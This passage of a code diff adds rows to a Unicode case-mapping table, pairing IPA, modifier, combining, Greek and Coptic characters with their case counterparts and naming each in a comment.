+ ["\u02A8", "\u02A8"], /* LATIN SMALL LETTER TC DIGRAPH WITH CURL (LATIN SMALL LETTER T C CURL) */
+ ["\u02A9", "\u02A9"], /* LATIN SMALL LETTER FENG DIGRAPH */
+ ["\u02AA", "\u02AA"], /* LATIN SMALL LETTER LS DIGRAPH */
+ ["\u02AB", "\u02AB"], /* LATIN SMALL LETTER LZ DIGRAPH */
+ ["\u02AC", "\u02AC"], /* LATIN LETTER BILABIAL PERCUSSIVE */
+ ["\u02AD", "\u02AD"], /* LATIN LETTER BIDENTAL PERCUSSIVE */
+ ["\u02AE", "\u02AE"], /* LATIN SMALL LETTER TURNED H WITH FISHHOOK */
+ ["\u02AF", "\u02AF"], /* LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL */
+ ["\u02B0", "\u02B0"], /* MODIFIER LETTER SMALL H */
+ ["\u02B1", "\u02B1"], /* MODIFIER LETTER SMALL H WITH HOOK (MODIFIER LETTER SMALL H HOOK) */
+ ["\u02B2", "\u02B2"], /* MODIFIER LETTER SMALL J */
+ ["\u02B3", "\u02B3"], /* MODIFIER LETTER SMALL R */
+ ["\u02B4", "\u02B4"], /* MODIFIER LETTER SMALL TURNED R */
+ ["\u02B5", "\u02B5"], /* MODIFIER LETTER SMALL TURNED R WITH HOOK (MODIFIER LETTER SMALL TURNED R HOOK) */
+ ["\u02B6", "\u02B6"], /* MODIFIER LETTER SMALL CAPITAL INVERTED R */
+ ["\u02B7", "\u02B7"], /* MODIFIER LETTER SMALL W */
+ ["\u02B8", "\u02B8"], /* MODIFIER LETTER SMALL Y */
+ ["\u02B9", "\u02B9"], /* MODIFIER LETTER PRIME */
+ ["\u02BA", "\u02BA"], /* MODIFIER LETTER DOUBLE PRIME */
+ ["\u02BB", "\u02BB"], /* MODIFIER LETTER TURNED COMMA */
+ ["\u02BC", "\u02BC"], /* MODIFIER LETTER APOSTROPHE */
+ ["\u02BD", "\u02BD"], /* MODIFIER LETTER REVERSED COMMA */
+ ["\u02BE", "\u02BE"], /* MODIFIER LETTER RIGHT HALF RING */
+ ["\u02BF", "\u02BF"], /* MODIFIER LETTER LEFT HALF RING */
+ ["\u02C0", "\u02C0"], /* MODIFIER LETTER GLOTTAL STOP */
+ ["\u02C1", "\u02C1"], /* MODIFIER LETTER REVERSED GLOTTAL STOP */
+ ["\u02C2", "\u02C2"], /* MODIFIER LETTER LEFT ARROWHEAD */
+ ["\u02C3", "\u02C3"], /* MODIFIER LETTER RIGHT ARROWHEAD */
+ ["\u02C4", "\u02C4"], /* MODIFIER LETTER UP ARROWHEAD */
+ ["\u02C5", "\u02C5"], /* MODIFIER LETTER DOWN ARROWHEAD */
+ ["\u02C6", "\u02C6"], /* MODIFIER LETTER CIRCUMFLEX ACCENT (MODIFIER LETTER CIRCUMFLEX) */
+ ["\u02C7", "\u02C7"], /* CARON (MODIFIER LETTER HACEK) */
+ ["\u02C8", "\u02C8"], /* MODIFIER LETTER VERTICAL LINE */
+ ["\u02C9", "\u02C9"], /* MODIFIER LETTER MACRON */
+ ["\u02CA", "\u02CA"], /* MODIFIER LETTER ACUTE ACCENT (MODIFIER LETTER ACUTE) */
+ ["\u02CB", "\u02CB"], /* MODIFIER LETTER GRAVE ACCENT (MODIFIER LETTER GRAVE) */
+ ["\u02CC", "\u02CC"], /* MODIFIER LETTER LOW VERTICAL LINE */
+ ["\u02CD", "\u02CD"], /* MODIFIER LETTER LOW MACRON */
+ ["\u02CE", "\u02CE"], /* MODIFIER LETTER LOW GRAVE ACCENT (MODIFIER LETTER LOW GRAVE) */
+ ["\u02CF", "\u02CF"], /* MODIFIER LETTER LOW ACUTE ACCENT (MODIFIER LETTER LOW ACUTE) */
+ ["\u02D0", "\u02D0"], /* MODIFIER LETTER TRIANGULAR COLON */
+ ["\u02D1", "\u02D1"], /* MODIFIER LETTER HALF TRIANGULAR COLON */
+ ["\u02D2", "\u02D2"], /* MODIFIER LETTER CENTRED RIGHT HALF RING (MODIFIER LETTER CENTERED RIGHT HALF RING) */
+ ["\u02D3", "\u02D3"], /* MODIFIER LETTER CENTRED LEFT HALF RING (MODIFIER LETTER CENTERED LEFT HALF RING) */
+ ["\u02D4", "\u02D4"], /* MODIFIER LETTER UP TACK */
+ ["\u02D5", "\u02D5"], /* MODIFIER LETTER DOWN TACK */
+ ["\u02D6", "\u02D6"], /* MODIFIER LETTER PLUS SIGN */
+ ["\u02D7", "\u02D7"], /* MODIFIER LETTER MINUS SIGN */
+ ["\u02D8", "\u02D8"], /* BREVE (SPACING BREVE) */
+ ["\u02D9", "\u02D9"], /* DOT ABOVE (SPACING DOT ABOVE) */
+ ["\u02DA", "\u02DA"], /* RING ABOVE (SPACING RING ABOVE) */
+ ["\u02DB", "\u02DB"], /* OGONEK (SPACING OGONEK) */
+ ["\u02DC", "\u02DC"], /* SMALL TILDE (SPACING TILDE) */
+ ["\u02DD", "\u02DD"], /* DOUBLE ACUTE ACCENT (SPACING DOUBLE ACUTE) */
+ ["\u02DE", "\u02DE"], /* MODIFIER LETTER RHOTIC HOOK */
+ ["\u02DF", "\u02DF"], /* MODIFIER LETTER CROSS ACCENT */
+ ["\u02E0", "\u02E0"], /* MODIFIER LETTER SMALL GAMMA */
+ ["\u02E1", "\u02E1"], /* MODIFIER LETTER SMALL L */
+ ["\u02E2", "\u02E2"], /* MODIFIER LETTER SMALL S */
+ ["\u02E3", "\u02E3"], /* MODIFIER LETTER SMALL X */
+ ["\u02E4", "\u02E4"], /* MODIFIER LETTER SMALL REVERSED GLOTTAL STOP */
+ ["\u02E5", "\u02E5"], /* MODIFIER LETTER EXTRA-HIGH TONE BAR */
+ ["\u02E6", "\u02E6"], /* MODIFIER LETTER HIGH TONE BAR */
+ ["\u02E7", "\u02E7"], /* MODIFIER LETTER MID TONE BAR */
+ ["\u02E8", "\u02E8"], /* MODIFIER LETTER LOW TONE BAR */
+ ["\u02E9", "\u02E9"], /* MODIFIER LETTER EXTRA-LOW TONE BAR */
+ ["\u02EA", "\u02EA"], /* MODIFIER LETTER YIN DEPARTING TONE MARK */
+ ["\u02EB", "\u02EB"], /* MODIFIER LETTER YANG DEPARTING TONE MARK */
+ ["\u02EC", "\u02EC"], /* MODIFIER LETTER VOICING */
+ ["\u02ED", "\u02ED"], /* MODIFIER LETTER UNASPIRATED */
+ ["\u02EE", "\u02EE"], /* MODIFIER LETTER DOUBLE APOSTROPHE */
+ ["\u02EF", "\u02EF"], /* MODIFIER LETTER LOW DOWN ARROWHEAD */
+ ["\u02F0", "\u02F0"], /* MODIFIER LETTER LOW UP ARROWHEAD */
+ ["\u02F1", "\u02F1"], /* MODIFIER LETTER LOW LEFT ARROWHEAD */
+ ["\u02F2", "\u02F2"], /* MODIFIER LETTER LOW RIGHT ARROWHEAD */
+ ["\u02F3", "\u02F3"], /* MODIFIER LETTER LOW RING */
+ ["\u02F4", "\u02F4"], /* MODIFIER LETTER MIDDLE GRAVE ACCENT */
+ ["\u02F5", "\u02F5"], /* MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT */
+ ["\u02F6", "\u02F6"], /* MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT */
+ ["\u02F7", "\u02F7"], /* MODIFIER LETTER LOW TILDE */
+ ["\u02F8", "\u02F8"], /* MODIFIER LETTER RAISED COLON */
+ ["\u02F9", "\u02F9"], /* MODIFIER LETTER BEGIN HIGH TONE */
+ ["\u02FA", "\u02FA"], /* MODIFIER LETTER END HIGH TONE */
+ ["\u02FB", "\u02FB"], /* MODIFIER LETTER BEGIN LOW TONE */
+ ["\u02FC", "\u02FC"], /* MODIFIER LETTER END LOW TONE */
+ ["\u02FD", "\u02FD"], /* MODIFIER LETTER SHELF */
+ ["\u02FE", "\u02FE"], /* MODIFIER LETTER OPEN SHELF */
+ ["\u02FF", "\u02FF"], /* MODIFIER LETTER LOW LEFT ARROW */
+ ["\u0300", "\u0300"], /* COMBINING GRAVE ACCENT (NON-SPACING GRAVE) */
+ ["\u0301", "\u0301"], /* COMBINING ACUTE ACCENT (NON-SPACING ACUTE) */
+ ["\u0302", "\u0302"], /* COMBINING CIRCUMFLEX ACCENT (NON-SPACING CIRCUMFLEX) */
+ ["\u0303", "\u0303"], /* COMBINING TILDE (NON-SPACING TILDE) */
+ ["\u0304", "\u0304"], /* COMBINING MACRON (NON-SPACING MACRON) */
+ ["\u0305", "\u0305"], /* COMBINING OVERLINE (NON-SPACING OVERSCORE) */
+ ["\u0306", "\u0306"], /* COMBINING BREVE (NON-SPACING BREVE) */
+ ["\u0307", "\u0307"], /* COMBINING DOT ABOVE (NON-SPACING DOT ABOVE) */
+ ["\u0308", "\u0308"], /* COMBINING DIAERESIS (NON-SPACING DIAERESIS) */
+ ["\u0309", "\u0309"], /* COMBINING HOOK ABOVE (NON-SPACING HOOK ABOVE) */
+ ["\u030A", "\u030A"], /* COMBINING RING ABOVE (NON-SPACING RING ABOVE) */
+ ["\u030B", "\u030B"], /* COMBINING DOUBLE ACUTE ACCENT (NON-SPACING DOUBLE ACUTE) */
+ ["\u030C", "\u030C"], /* COMBINING CARON (NON-SPACING HACEK) */
+ ["\u030D", "\u030D"], /* COMBINING VERTICAL LINE ABOVE (NON-SPACING VERTICAL LINE ABOVE) */
+ ["\u030E", "\u030E"], /* COMBINING DOUBLE VERTICAL LINE ABOVE (NON-SPACING DOUBLE VERTICAL LINE ABOVE) */
+ ["\u030F", "\u030F"], /* COMBINING DOUBLE GRAVE ACCENT (NON-SPACING DOUBLE GRAVE) */
+ ["\u0310", "\u0310"], /* COMBINING CANDRABINDU (NON-SPACING CANDRABINDU) */
+ ["\u0311", "\u0311"], /* COMBINING INVERTED BREVE (NON-SPACING INVERTED BREVE) */
+ ["\u0312", "\u0312"], /* COMBINING TURNED COMMA ABOVE (NON-SPACING TURNED COMMA ABOVE) */
+ ["\u0313", "\u0313"], /* COMBINING COMMA ABOVE (NON-SPACING COMMA ABOVE) */
+ ["\u0314", "\u0314"], /* COMBINING REVERSED COMMA ABOVE (NON-SPACING REVERSED COMMA ABOVE) */
+ ["\u0315", "\u0315"], /* COMBINING COMMA ABOVE RIGHT (NON-SPACING COMMA ABOVE RIGHT) */
+ ["\u0316", "\u0316"], /* COMBINING GRAVE ACCENT BELOW (NON-SPACING GRAVE BELOW) */
+ ["\u0317", "\u0317"], /* COMBINING ACUTE ACCENT BELOW (NON-SPACING ACUTE BELOW) */
+ ["\u0318", "\u0318"], /* COMBINING LEFT TACK BELOW (NON-SPACING LEFT TACK BELOW) */
+ ["\u0319", "\u0319"], /* COMBINING RIGHT TACK BELOW (NON-SPACING RIGHT TACK BELOW) */
+ ["\u031A", "\u031A"], /* COMBINING LEFT ANGLE ABOVE (NON-SPACING LEFT ANGLE ABOVE) */
+ ["\u031B", "\u031B"], /* COMBINING HORN (NON-SPACING HORN) */
+ ["\u031C", "\u031C"], /* COMBINING LEFT HALF RING BELOW (NON-SPACING LEFT HALF RING BELOW) */
+ ["\u031D", "\u031D"], /* COMBINING UP TACK BELOW (NON-SPACING UP TACK BELOW) */
+ ["\u031E", "\u031E"], /* COMBINING DOWN TACK BELOW (NON-SPACING DOWN TACK BELOW) */
+ ["\u031F", "\u031F"], /* COMBINING PLUS SIGN BELOW (NON-SPACING PLUS SIGN BELOW) */
+ ["\u0320", "\u0320"], /* COMBINING MINUS SIGN BELOW (NON-SPACING MINUS SIGN BELOW) */
+ ["\u0321", "\u0321"], /* COMBINING PALATALIZED HOOK BELOW (NON-SPACING PALATALIZED HOOK BELOW) */
+ ["\u0322", "\u0322"], /* COMBINING RETROFLEX HOOK BELOW (NON-SPACING RETROFLEX HOOK BELOW) */
+ ["\u0323", "\u0323"], /* COMBINING DOT BELOW (NON-SPACING DOT BELOW) */
+ ["\u0324", "\u0324"], /* COMBINING DIAERESIS BELOW (NON-SPACING DOUBLE DOT BELOW) */
+ ["\u0325", "\u0325"], /* COMBINING RING BELOW (NON-SPACING RING BELOW) */
+ ["\u0326", "\u0326"], /* COMBINING COMMA BELOW (NON-SPACING COMMA BELOW) */
+ ["\u0327", "\u0327"], /* COMBINING CEDILLA (NON-SPACING CEDILLA) */
+ ["\u0328", "\u0328"], /* COMBINING OGONEK (NON-SPACING OGONEK) */
+ ["\u0329", "\u0329"], /* COMBINING VERTICAL LINE BELOW (NON-SPACING VERTICAL LINE BELOW) */
+ ["\u032A", "\u032A"], /* COMBINING BRIDGE BELOW (NON-SPACING BRIDGE BELOW) */
+ ["\u032B", "\u032B"], /* COMBINING INVERTED DOUBLE ARCH BELOW (NON-SPACING INVERTED DOUBLE ARCH BELOW) */
+ ["\u032C", "\u032C"], /* COMBINING CARON BELOW (NON-SPACING HACEK BELOW) */
+ ["\u032D", "\u032D"], /* COMBINING CIRCUMFLEX ACCENT BELOW (NON-SPACING CIRCUMFLEX BELOW) */
+ ["\u032E", "\u032E"], /* COMBINING BREVE BELOW (NON-SPACING BREVE BELOW) */
+ ["\u032F", "\u032F"], /* COMBINING INVERTED BREVE BELOW (NON-SPACING INVERTED BREVE BELOW) */
+ ["\u0330", "\u0330"], /* COMBINING TILDE BELOW (NON-SPACING TILDE BELOW) */
+ ["\u0331", "\u0331"], /* COMBINING MACRON BELOW (NON-SPACING MACRON BELOW) */
+ ["\u0332", "\u0332"], /* COMBINING LOW LINE (NON-SPACING UNDERSCORE) */
+ ["\u0333", "\u0333"], /* COMBINING DOUBLE LOW LINE (NON-SPACING DOUBLE UNDERSCORE) */
+ ["\u0334", "\u0334"], /* COMBINING TILDE OVERLAY (NON-SPACING TILDE OVERLAY) */
+ ["\u0335", "\u0335"], /* COMBINING SHORT STROKE OVERLAY (NON-SPACING SHORT BAR OVERLAY) */
+ ["\u0336", "\u0336"], /* COMBINING LONG STROKE OVERLAY (NON-SPACING LONG BAR OVERLAY) */
+ ["\u0337", "\u0337"], /* COMBINING SHORT SOLIDUS OVERLAY (NON-SPACING SHORT SLASH OVERLAY) */
+ ["\u0338", "\u0338"], /* COMBINING LONG SOLIDUS OVERLAY (NON-SPACING LONG SLASH OVERLAY) */
+ ["\u0339", "\u0339"], /* COMBINING RIGHT HALF RING BELOW (NON-SPACING RIGHT HALF RING BELOW) */
+ ["\u033A", "\u033A"], /* COMBINING INVERTED BRIDGE BELOW (NON-SPACING INVERTED BRIDGE BELOW) */
+ ["\u033B", "\u033B"], /* COMBINING SQUARE BELOW (NON-SPACING SQUARE BELOW) */
+ ["\u033C", "\u033C"], /* COMBINING SEAGULL BELOW (NON-SPACING SEAGULL BELOW) */
+ ["\u033D", "\u033D"], /* COMBINING X ABOVE (NON-SPACING X ABOVE) */
+ ["\u033E", "\u033E"], /* COMBINING VERTICAL TILDE (NON-SPACING VERTICAL TILDE) */
+ ["\u033F", "\u033F"], /* COMBINING DOUBLE OVERLINE (NON-SPACING DOUBLE OVERSCORE) */
+ ["\u0340", "\u0340"], /* COMBINING GRAVE TONE MARK (NON-SPACING GRAVE TONE MARK) */
+ ["\u0341", "\u0341"], /* COMBINING ACUTE TONE MARK (NON-SPACING ACUTE TONE MARK) */
+ ["\u0342", "\u0342"], /* COMBINING GREEK PERISPOMENI */
+ ["\u0343", "\u0343"], /* COMBINING GREEK KORONIS */
+ ["\u0344", "\u0344"], /* COMBINING GREEK DIALYTIKA TONOS (GREEK NON-SPACING DIAERESIS TONOS) */
+ ["\u0399", "\u0345"], /* COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW) */
+ ["\u0346", "\u0346"], /* COMBINING BRIDGE ABOVE */
+ ["\u0347", "\u0347"], /* COMBINING EQUALS SIGN BELOW */
+ ["\u0348", "\u0348"], /* COMBINING DOUBLE VERTICAL LINE BELOW */
+ ["\u0349", "\u0349"], /* COMBINING LEFT ANGLE BELOW */
+ ["\u034A", "\u034A"], /* COMBINING NOT TILDE ABOVE */
+ ["\u034B", "\u034B"], /* COMBINING HOMOTHETIC ABOVE */
+ ["\u034C", "\u034C"], /* COMBINING ALMOST EQUAL TO ABOVE */
+ ["\u034D", "\u034D"], /* COMBINING LEFT RIGHT ARROW BELOW */
+ ["\u034E", "\u034E"], /* COMBINING UPWARDS ARROW BELOW */
+ ["\u034F", "\u034F"], /* COMBINING GRAPHEME JOINER */
+ ["\u0350", "\u0350"], /* COMBINING RIGHT ARROWHEAD ABOVE */
+ ["\u0351", "\u0351"], /* COMBINING LEFT HALF RING ABOVE */
+ ["\u0352", "\u0352"], /* COMBINING FERMATA */
+ ["\u0353", "\u0353"], /* COMBINING X BELOW */
+ ["\u0354", "\u0354"], /* COMBINING LEFT ARROWHEAD BELOW */
+ ["\u0355", "\u0355"], /* COMBINING RIGHT ARROWHEAD BELOW */
+ ["\u0356", "\u0356"], /* COMBINING RIGHT ARROWHEAD AND UP ARROWHEAD BELOW */
+ ["\u0357", "\u0357"], /* COMBINING RIGHT HALF RING ABOVE */
+ ["\u0358", "\u0358"], /* COMBINING DOT ABOVE RIGHT */
+ ["\u0359", "\u0359"], /* COMBINING ASTERISK BELOW */
+ ["\u035A", "\u035A"], /* COMBINING DOUBLE RING BELOW */
+ ["\u035B", "\u035B"], /* COMBINING ZIGZAG ABOVE */
+ ["\u035C", "\u035C"], /* COMBINING DOUBLE BREVE BELOW */
+ ["\u035D", "\u035D"], /* COMBINING DOUBLE BREVE */
+ ["\u035E", "\u035E"], /* COMBINING DOUBLE MACRON */
+ ["\u035F", "\u035F"], /* COMBINING DOUBLE MACRON BELOW */
+ ["\u0360", "\u0360"], /* COMBINING DOUBLE TILDE */
+ ["\u0361", "\u0361"], /* COMBINING DOUBLE INVERTED BREVE */
+ ["\u0362", "\u0362"], /* COMBINING DOUBLE RIGHTWARDS ARROW BELOW */
+ ["\u0363", "\u0363"], /* COMBINING LATIN SMALL LETTER A */
+ ["\u0364", "\u0364"], /* COMBINING LATIN SMALL LETTER E */
+ ["\u0365", "\u0365"], /* COMBINING LATIN SMALL LETTER I */
+ ["\u0366", "\u0366"], /* COMBINING LATIN SMALL LETTER O */
+ ["\u0367", "\u0367"], /* COMBINING LATIN SMALL LETTER U */
+ ["\u0368", "\u0368"], /* COMBINING LATIN SMALL LETTER C */
+ ["\u0369", "\u0369"], /* COMBINING LATIN SMALL LETTER D */
+ ["\u036A", "\u036A"], /* COMBINING LATIN SMALL LETTER H */
+ ["\u036B", "\u036B"], /* COMBINING LATIN SMALL LETTER M */
+ ["\u036C", "\u036C"], /* COMBINING LATIN SMALL LETTER R */
+ ["\u036D", "\u036D"], /* COMBINING LATIN SMALL LETTER T */
+ ["\u036E", "\u036E"], /* COMBINING LATIN SMALL LETTER V */
+ ["\u036F", "\u036F"], /* COMBINING LATIN SMALL LETTER X */
+ ["\u0370", "\u0371"], /* GREEK CAPITAL LETTER HETA */
+ ["\u0370", "\u0371"], /* GREEK SMALL LETTER HETA */
+ ["\u0372", "\u0373"], /* GREEK CAPITAL LETTER ARCHAIC SAMPI */
+ ["\u0372", "\u0373"], /* GREEK SMALL LETTER ARCHAIC SAMPI */
+ ["\u0374", "\u0374"], /* GREEK NUMERAL SIGN (GREEK UPPER NUMERAL SIGN) */
+ ["\u0375", "\u0375"], /* GREEK LOWER NUMERAL SIGN */
+ ["\u0376", "\u0377"], /* GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA */
+ ["\u0376", "\u0377"], /* GREEK SMALL LETTER PAMPHYLIAN DIGAMMA */
+ ["\u0378", "\u0378"],
+ ["\u0379", "\u0379"],
+ ["\u037A", "\u037A"], /* GREEK YPOGEGRAMMENI (GREEK SPACING IOTA BELOW) */
+ ["\u03FD", "\u037B"], /* GREEK SMALL REVERSED LUNATE SIGMA SYMBOL */
+ ["\u03FE", "\u037C"], /* GREEK SMALL DOTTED LUNATE SIGMA SYMBOL */
+ ["\u03FF", "\u037D"], /* GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL */
+ ["\u037E", "\u037E"], /* GREEK QUESTION MARK */
+ ["\u037F", "\u03F3"], /* GREEK CAPITAL LETTER YOT */
+ ["\u0380", "\u0380"],
+ ["\u0381", "\u0381"],
+ ["\u0382", "\u0382"],
+ ["\u0383", "\u0383"],
+ ["\u0384", "\u0384"], /* GREEK TONOS (GREEK SPACING TONOS) */
+ ["\u0385", "\u0385"], /* GREEK DIALYTIKA TONOS (GREEK SPACING DIAERESIS TONOS) */
+ ["\u0386", "\u03AC"], /* GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS) */
+ ["\u0387", "\u0387"], /* GREEK ANO TELEIA */
+ ["\u0388", "\u03AD"], /* GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS) */
+ ["\u0389", "\u03AE"], /* GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS) */
+ ["\u038A", "\u03AF"], /* GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS) */
+ ["\u038B", "\u038B"],
+ ["\u038C", "\u03CC"], /* GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS) */
+ ["\u038D", "\u038D"],
+ ["\u038E", "\u03CD"], /* GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS) */
+ ["\u038F", "\u03CE"], /* GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS) */
+ ["\u0399\u0308\u0301", "\u0390"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS (GREEK SMALL LETTER IOTA DIAERESIS TONOS) */
+ ["\u0391", "\u03B1"], /* GREEK CAPITAL LETTER ALPHA */
+ ["\u0392", "\u03B2"], /* GREEK CAPITAL LETTER BETA */
+ ["\u0393", "\u03B3"], /* GREEK CAPITAL LETTER GAMMA */
+ ["\u0394", "\u03B4"], /* GREEK CAPITAL LETTER DELTA */
+ ["\u0395", "\u03B5"], /* GREEK CAPITAL LETTER EPSILON */
+ ["\u0396", "\u03B6"], /* GREEK CAPITAL LETTER ZETA */
+ ["\u0397", "\u03B7"], /* GREEK CAPITAL LETTER ETA */
+ ["\u0398", "\u03B8"], /* GREEK CAPITAL LETTER THETA */
+ ["\u0399", "\u03B9"], /* GREEK CAPITAL LETTER IOTA */
+ ["\u039A", "\u03BA"], /* GREEK CAPITAL LETTER KAPPA */
+ ["\u039B", "\u03BB"], /* GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA) */
+ ["\u039C", "\u03BC"], /* GREEK CAPITAL LETTER MU */
+ ["\u039D", "\u03BD"], /* GREEK CAPITAL LETTER NU */
+ ["\u039E", "\u03BE"], /* GREEK CAPITAL LETTER XI */
+ ["\u039F", "\u03BF"], /* GREEK CAPITAL LETTER OMICRON */
+ ["\u03A0", "\u03C0"], /* GREEK CAPITAL LETTER PI */
+ ["\u03A1", "\u03C1"], /* GREEK CAPITAL LETTER RHO */
+ ["\u03A2", "\u03A2"],
+ ["\u03A3", "\u03C3"], /* GREEK CAPITAL LETTER SIGMA */
+ ["\u03A4", "\u03C4"], /* GREEK CAPITAL LETTER TAU */
+ ["\u03A5", "\u03C5"], /* GREEK CAPITAL LETTER UPSILON */
+ ["\u03A6", "\u03C6"], /* GREEK CAPITAL LETTER PHI */
+ ["\u03A7", "\u03C7"], /* GREEK CAPITAL LETTER CHI */
+ ["\u03A8", "\u03C8"], /* GREEK CAPITAL LETTER PSI */
+ ["\u03A9", "\u03C9"], /* GREEK CAPITAL LETTER OMEGA */
+ ["\u03AA", "\u03CA"], /* GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS) */
+ ["\u03AB", "\u03CB"], /* GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS) */
+ ["\u0386", "\u03AC"], /* GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS) */
+ ["\u0388", "\u03AD"], /* GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS) */
+ ["\u0389", "\u03AE"], /* GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS) */
+ ["\u038A", "\u03AF"], /* GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS) */
+ ["\u03A5\u0308\u0301", "\u03B0"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS (GREEK SMALL LETTER UPSILON DIAERESIS TONOS) */
+ ["\u0391", "\u03B1"], /* GREEK SMALL LETTER ALPHA */
+ ["\u0392", "\u03B2"], /* GREEK SMALL LETTER BETA */
+ ["\u0393", "\u03B3"], /* GREEK SMALL LETTER GAMMA */
+ ["\u0394", "\u03B4"], /* GREEK SMALL LETTER DELTA */
+ ["\u0395", "\u03B5"], /* GREEK SMALL LETTER EPSILON */
+ ["\u0396", "\u03B6"], /* GREEK SMALL LETTER ZETA */
+ ["\u0397", "\u03B7"], /* GREEK SMALL LETTER ETA */
+ ["\u0398", "\u03B8"], /* GREEK SMALL LETTER THETA */
+ ["\u0399", "\u03B9"], /* GREEK SMALL LETTER IOTA */
+ ["\u039A", "\u03BA"], /* GREEK SMALL LETTER KAPPA */
+ ["\u039B", "\u03BB"], /* GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA) */
+ ["\u039C", "\u03BC"], /* GREEK SMALL LETTER MU */
+ ["\u039D", "\u03BD"], /* GREEK SMALL LETTER NU */
+ ["\u039E", "\u03BE"], /* GREEK SMALL LETTER XI */
+ ["\u039F", "\u03BF"], /* GREEK SMALL LETTER OMICRON */
+ ["\u03A0", "\u03C0"], /* GREEK SMALL LETTER PI */
+ ["\u03A1", "\u03C1"], /* GREEK SMALL LETTER RHO */
+ ["\u03A3", "\u03C2"], /* GREEK SMALL LETTER FINAL SIGMA */
+ ["\u03A3", "\u03C3"], /* GREEK SMALL LETTER SIGMA */
+ ["\u03A4", "\u03C4"], /* GREEK SMALL LETTER TAU */
+ ["\u03A5", "\u03C5"], /* GREEK SMALL LETTER UPSILON */
+ ["\u03A6", "\u03C6"], /* GREEK SMALL LETTER PHI */
+ ["\u03A7", "\u03C7"], /* GREEK SMALL LETTER CHI */
+ ["\u03A8", "\u03C8"], /* GREEK SMALL LETTER PSI */
+ ["\u03A9", "\u03C9"], /* GREEK SMALL LETTER OMEGA */
+ ["\u03AA", "\u03CA"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS) */
+ ["\u03AB", "\u03CB"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS) */
+ ["\u038C", "\u03CC"], /* GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS) */
+ ["\u038E", "\u03CD"], /* GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS) */
+ ["\u038F", "\u03CE"], /* GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS) */
+ ["\u03CF", "\u03D7"], /* GREEK CAPITAL KAI SYMBOL */
+ ["\u0392", "\u03D0"], /* GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA) */
+ ["\u0398", "\u03D1"], /* GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA) */
+ ["\u03D2", "\u03D2"], /* GREEK UPSILON WITH HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK) */
+ ["\u03D3", "\u03D3"], /* GREEK UPSILON WITH ACUTE AND HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK TONOS) */
+ ["\u03D4", "\u03D4"], /* GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK DIAERESIS) */
+ ["\u03A6", "\u03D5"], /* GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI) */
+ ["\u03A0", "\u03D6"], /* GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI) */
+ ["\u03CF", "\u03D7"], /* GREEK KAI SYMBOL */
+ ["\u03D8", "\u03D9"], /* GREEK LETTER ARCHAIC KOPPA */
+ ["\u03D8", "\u03D9"], /* GREEK SMALL LETTER ARCHAIC KOPPA */
+ ["\u03DA", "\u03DB"], /* GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA) */
+ ["\u03DA", "\u03DB"], /* GREEK SMALL LETTER STIGMA */
+ ["\u03DC", "\u03DD"], /* GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA) */
+ ["\u03DC", "\u03DD"], /* GREEK SMALL LETTER DIGAMMA */
+ ["\u03DE", "\u03DF"], /* GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA) */
+ ["\u03DE", "\u03DF"], /* GREEK SMALL LETTER KOPPA */
+ ["\u03E0", "\u03E1"], /* GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI) */
+ ["\u03E0", "\u03E1"], /* GREEK SMALL LETTER SAMPI */
+ ["\u03E2", "\u03E3"], /* COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI) */
+ ["\u03E2", "\u03E3"], /* COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI) */
+ ["\u03E4", "\u03E5"], /* COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI) */
+ ["\u03E4", "\u03E5"], /* COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI) */
